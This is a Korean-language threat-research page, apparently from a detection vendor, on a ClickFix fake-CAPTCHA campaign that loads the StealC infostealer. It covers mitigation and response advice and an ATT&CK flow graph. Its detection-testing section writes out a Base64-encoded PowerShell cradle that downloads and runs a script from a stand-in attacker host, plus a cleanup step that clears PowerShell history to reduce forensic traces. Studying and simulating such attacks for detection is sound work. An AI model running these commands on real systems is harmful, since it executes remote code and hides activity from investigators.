SOC Prime Bias: 중간

16 2월 2026 17:47

ClickFix가 어떻게 은밀한 StealC 정보 탈취자의 문을 여는가

Author Photo
Ruslan Mikhalov SOC Prime에서 위협 연구 책임자 linkedin icon 팔로우
ClickFix가 어떻게 은밀한 StealC 정보 탈취자의 문을 여는가
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

단계별로 진행되는 파일리스 침입은 가짜 CAPTCHA를 호스팅하는 손상된 베트남 레스토랑 사이트에서 시작됩니다. 피해자는 위치에 독립적인 쉘코드를 가져오는 PowerShell을 실행하도록 유도되고, 이 쉘코드는 64비트 다운로더를 반사적으로 로드하고 StealC 정보 탈취기를 svchost.exe에 주입합니다. StealC는 브라우저 자격 증명, 암호화폐 지갑 데이터, Steam 및 Outlook 자격 증명, 호스트 세부 정보 및 스크린샷을 수집한 후, RC4로 암호화된 HTTP 트래픽을 통해 유출합니다.

조사

연구원들은 JavaScript 및 PowerShell 로더를 해독하고, Donut 쉘코드 프레임워크가 사용된 것을 확인했으며, 다운로더의 HTTP 페치를 공격자 제어 URL로 추적했습니다. 탈취기는 모듈식 절도 기능과 셀프-삭제 루틴이 있는 빌더 기반 악성코드-서비스형으로 보입니다. 사냥 노트에는 ‘Loader’라는 User-Agent 값과 스테이징 및 실행과 관련된 특정 레지스트리 키가 포함되어 있습니다.

완화

권장 방어책에는 브라우저에서 클립보드 붙여넣기 제한 또는 비활성화, PowerShell 실행 정책 강화, 비정상적인 User-Agent 문자열에 대한 경고가 포함됩니다. 반사적 PE 로딩 및 프로세스 주입 탐지를 추가하고, Base64로 인코딩된 페이로드 전달을 위해 아웃바운드 HTTP 검사를 강제하십시오. 가짜 CAPTCHA 유도에 대한 사용자 교육은 통제 수단으로 간주해야 하며, 사후 대응으로 남겨두어서는 안 됩니다.

대응

발견 시, 엔드포인트를 격리하고 주입된 svchost.exe 인스턴스를 중지하고 쉘코드 검토를 위한 메모리 덤프를 캡처하며 악성 도메인/URL을 차단합니다. 노출된 자격 증명을 재설정하고, 영향 평가를 위해 레지스트리 및 브라우저 아티팩트를 검토하고, 잔여 C2 트래픽을 주시합니다.

“graph TB %% Class definitions classDef technique fill:#99ccff classDef action fill:#ffcc99 classDef process fill:#dddddd tech_content_injection[“<b>기법</b> – <b>T1659 콘텐츠 인젝션</b>: 가짜 CAPTCHA를 전달하는 손상된 웹사이트에 악성 자바스크립트 주입.”] class tech_content_injection technique attack_user_exec[“<b>행동</b> – <b>T1204.004 사용자 실행: 악성 복사 및 붙여넣기</b>: 피해자가 Win+R 및 Ctrl+V를 통해 PowerShell 명령어 실행.”] class attack_user_exec action tech_powershell[“<b>기법</b> – <b>T1059.001 PowerShell</b>: 메모리 내 로더를 다운로드하는 PowerShell 스크립트 실행.”] class tech_powershell technique tech_obfuscation[“<b>기법</b> – <b>T1027 난독화된 파일 또는 정보</b>: 쉘코드 및 문자열 암호화, 동적 API 해상 (T1027.007), 페이로드 제거 (T1027.008).”] class tech_obfuscation technique tech_process_injection[“<b>기법</b> – <b>T1055 프로세스 주입</b>: 휴대용 실행 파일 주입 (T1055.002) 및 프로세스 전체 (T1055.012) svchost.exe 안으로.”] class tech_process_injection technique tech_masquerading[“<b>기법</b> – <b>T1036 가장하기</b>: 악성 활동을 숨기기 위해 합법적인 svchost.exe 프로세스 사용.”] class tech_masquerading technique tech_cred_browser[“<b>기법</b> – <b>T1555.003 웹 브라우저의 자격 증명</b>: 저장된 브라우저 자격 증명 탈취.”] class tech_cred_browser technique tech_steal_cookie[“<b>기법</b> – <b>T1539 웹 세션 쿠키 탈취</b>: 브라우저에서 인증 쿠키 캡처.”] class tech_steal_cookie technique tech_use_cookie[“<b>기법</b> – <b>T1550.004 대체 인증 자료 사용: 웹 세션 쿠키</b>: 도용된 쿠키 재사용을 통한 인증된 접근.”] class tech_use_cookie technique tech_browser_discovery[“<b>기법</b> – <b>T1217 브라우저 정보 검색</b>: 설치된 브라우저 및 그 구성에 대한 정보 수집.”] class tech_browser_discovery technique tech_archive[“<b>기법</b> – <b>T1560 수집된 데이터 아카이브</b>: 유출 전 수집 데이터 압축 또는 아카이브.”] class tech_archive technique tech_exfil_c2[“<b>기법</b> – <b>T1041 C2 채널을 통한 유출</b>: 명령 및 제어 채널을 사용한 데이터 전송.”] class tech_exfil_c2 technique tech_encrypted_channel[“<b>기법</b> – <b>T1573 암호화된 채널</b>: 암호화로 유출 보호 (Base64+RC4).”] class tech_encrypted_channel technique tech_exfil_alt[“<b>기법</b> – <b>T1048.001 대체 프로토콜을 통한 유출</b>: 데이터 유출을 위한 대체 프로토콜 사용.”] class tech_exfil_alt technique tech_file_deletion[“<b>기법</b> – <b>T1070.004 파일 삭제</b>: 기록을 지우기 위한 파일 및 아티팩트 삭제.”] class tech_file_deletion technique tech_clear_persistence[“<b>기법</b> – <b>T1070.009 지속성 제거</b>: 실행 후 지속성 메커니즘 제거.”] class tech_clear_persistence technique %% 공격 흐름을 보여주는 연결 tech_content_injection u002du002d>|leads_to| attack_user_exec attack_user_exec u002du002d>|executes| tech_powershell tech_powershell u002du002d>|uses| tech_obfuscation tech_obfuscation u002du002d>|enables| tech_process_injection tech_process_injection u002du002d>|uses| tech_masquerading tech_process_injection u002du002d>|enables| tech_cred_browser tech_process_injection u002du002d>|enables| tech_steal_cookie tech_cred_browser u002du002d>|supports| tech_browser_discovery tech_browser_discovery u002du002d>|feeds| tech_archive tech_archive u002du002d>|compressed_data| tech_exfil_c2 tech_steal_cookie u002du002d>|enables| tech_use_cookie tech_use_cookie u002du002d>|leads_to| tech_exfil_c2 tech_exfil_c2 u002du002d>|protected_by| tech_encrypted_channel tech_exfil_c2 u002du002d>|uses| tech_exfil_alt tech_exfil_c2 u002du002d>|triggers| tech_file_deletion tech_file_deletion u002du002d>|also| tech_clear_persistence “

공격 흐름

시뮬레이션 실행

선행 조건: 텔레메트리 및 기준선 사전 점검이 통과해야 합니다.

근거: 이 섹션은 검출 규칙을 트리거하기 위해 설계된 적대 기술 전술 절차(TTP)의 정확한 실행을 자세히 설명합니다. 명령어 및 내러티브는 반드시 식별된 TTP를 직접 반영하고 검출 논리에 의해 기대되는 정확한 텔레메트리를 생성해야 합니다.

  • 공격 서사 및 명령:

    공격자는 짧은 URL이 포함된 피싱 이메일을 수신합니다. 목적은 사용자를 경고하지 않고 원격 PowerShell 백도어를 설치하는 것입니다. 공격자는 C2 서버에서 악성 스크립트를 다운로드하고 즉시 실행하는 Base64 인코딩된 PowerShell 페이로드를 제작하여 iex(irm…)를사용합니다. 인코딩된 명령을 통해 공격자는 실제 명령을 캐주얼한 검사에서 숨기며, 패턴은 검출 규칙과 직접 일치합니다. -EncodedCommand 전환기를 iex(irm…)를 사용하여 인코딩된 명령으로

    1. 악의적인 스크립트(페이로드.ps1)를 만들고http://malicious.example.com/payload.ps1에 호스팅합니다. http://malicious.example.com/payload.ps1.

    2. 런처 명령 인코딩:

      $launcher = "iex((New-Object System.Net.WebClient).DownloadString('http://malicious.example.com/payload.ps1'))"
      $bytes = [System.Text.Encoding]::Unicode.GetBytes($launcher)
      $encoded = [Convert]::ToBase64String($bytes)
      Write-Output $encoded   # 이 값은 다음 단계에서 사용됩니다
    3. 대상에서 인코딩된 명령 실행:

      powershell.exe -EncodedCommand <Base64StringFromStep2>

    이것은 Sigma 규칙을 만족하며, 명령줄에 암호화된 텍스트가 포함된 Sysmon ProcessCreate 이벤트를 생성합니다. 명령줄 포함 -EncodedCommand and 되어 있습니다. iex(irm…)를디코딩된 텍스트는

  • 회귀 테스트 스크립트:

    #-----------------------------------------------------------
    # 시뮬레이션 스크립트 – PowerShell EncodedCommand + iex(irm) 트리거
    #-----------------------------------------------------------
    
    # 1. 악성 스크립트 URL 정의 (테스트 서버로 대체)
    $maliciousUrl = "http://malicious.example.com/payload.ps1"
    
    # 2. 스크립트를 다운로드하고 실행하는 일렬 코드 빌드
    $cmd = "iex((New-Object System.Net.WebClient).DownloadString('$maliciousUrl'))"
    
    # 3. Base64 (유니코드)로 명령 인코딩
    $bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
    $b64   = [Convert]::ToBase64String($bytes)
    
    # 4. 인코딩된 명령과 함께 PowerShell 실행
    Write-Host "인코딩된 명령 실행 중..."
    Start-Process -FilePath "$env:windirSystem32WindowsPowerShellv1.0powershell.exe" `
                  -ArgumentList "-EncodedCommand $b64" `
                  -NoNewWindow -Wait
    
    Write-Host "시뮬레이션 완료."
  • 정리 명령:

    # 시뮬레이션 페이로드에 의해 생성된 임시 파일 제거 (있다면)
    # 예: 로컬에 저장된 다운받은 스크립트 삭제
    $tempPath = "$env:TEMPpayload.ps1"
    if (Test-Path $tempPath) {
        Remove-Item $tempPath -Force
        Write-Host "임시 페이로드 제거됨."
    }
    
    # 선택적으로 포렌식 추적을 줄이기 위해 PowerShell 히스토리 삭제
    Clear-History